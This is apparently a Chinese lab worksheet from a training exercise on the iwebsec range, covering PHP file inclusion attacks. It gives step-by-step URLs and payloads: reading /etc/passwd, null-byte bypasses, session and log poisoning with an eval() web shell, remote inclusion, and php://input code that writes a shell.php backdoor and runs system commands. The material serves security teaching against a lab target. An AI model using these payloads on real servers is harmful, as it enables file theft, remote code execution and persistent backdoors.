0
点赞
收藏
分享

微信扫一扫

小白iwebsec

文件包含漏洞

上机练习

一、实训目的

掌握本地文件包含漏洞、本地文件包含绕过、Session文件包含、日志文件包含


二、实验环境

运行vmware workstation10以上,安装kali和Linux的操作系统。

三、实验要求

在虚拟机下完成以下操作,并写出实验步骤。

四、实验内容

将耙机IP设置为:192.168.x.100和192.168.x.101,gj机ip设置为:192.168.x.99,将x改为学号后两位,将结果截图保存在下面每一小题中。

1、 本地文件包含漏洞

(1) 访问 http://192.168.99.101/fi/01.php?filename=test.txt


(2) 访问 http://192.168.99.101/fi/01.php?filename=/etc/passwd


(3) 访问 http://192.168.99.101/fi/01.php?filename=/etc/httpd/conf/httpd.cnf


(4) 访问 http://192.168.99.101/fi/01.php?filename=/etc/my.cnf


(5) 访问 http://192.168.99.101 /fi/09.php?filename=file:///usr/etc/php.ini


2、 本地文件包含绕过

(1)%00(%00截断)文件包含漏洞

访问 http://192.168.99.101/fi/02.php?filename=/etc/passwd%00


(2)路径长度截断文件包含

windows下目录最大长度为256字节,超出的部分会被丢弃。

linux下目录最大长度为4096字节,超出的部分会被丢弃。


(3)点号截断文件包含


3、Session文件包含

(1)访问 http://192.168.99.101/fi/03.php?iwebsec=iwebsec


(2)访问 http://192.168.99.101/fi/03.php?iwebsec=<?php phpinfo();?>


(3)访问:http://192.168.99.101/fi/01.php?filename=/var/lib/php/session/sess_o37uuis03k9dtnd5ea8dvu1rk5



4、日志文件包含

(1)在清除靶机访问日志

echo “” >/var/log/httpd/access_log

靶机中查看访问日志:

cat /var/log/httpd/access_log


(2)使用浏览器和Burpsuit 提交,并对比:

http://192.168.99.101/fi/<?php @eval($_POST[123]);?>

在靶机中查看访问日志:


cat /var/log/httpd/access_log


(3)访问:http://192.168.99.101/fi/01.php?filename=/var/log/httpd/access_log


5、SSH是志文件包含

(1)将恶意代码写入日志文件

ssh “<?php @eval(\$_POST[123]);?>”@172.17.0.2


查看登录日志文件

less /var/log/auth.log


(2)使用POST提交 123=phpinfo();

http://192.168.99.101/fi/01.php?filename=/var/log/auth.log


6、无限制远程文件包含

(1)新建目录及文件

mkdir vuln

vim test.txt      

内容:<?php @eval($_POST[123]);?>


访问:http://192.168.99.101/fi//04.php?filename=http:// 192.168.99.101/vuln/test.txt




7、有限制远程文件包含

(1) 问号绕过

1.1.1.4/fi//05.php?filename=http:// 1.1.1.4/vuln/test.txt


(2) 井号绕过

http://192.168.99.101/fi//05.php?filename=http:// 192.168.99.101/vuln/test.txt%23



8、PHP为协议


(1)php://filter(本地磁盘文件进行读取)

http://192.168.99.101/fi/06.php?filename=php://filter/convert.base64-encode/resource=xxx.php


(2)php://input(读取POST数据)

http://192.168.99.101/fi/07.php

test post


(3)php://input(写入mm)

1.1.1.4/fi/08.php?filename=php://input

<?PHP fputs(fopen(‘shell.php’,’w’),’<?php @eval($_POST[cmd]);?>’);?>



(4)php://input(命令执行)

<?php system(‘whoami’);?>

<?php system(‘ifconfig’);?>

<?php system(‘ls>aa.txt‘);?>

<?php system(‘rm aa.txt’);?>



(5)data://伪协议


举报

相关推荐

0 条评论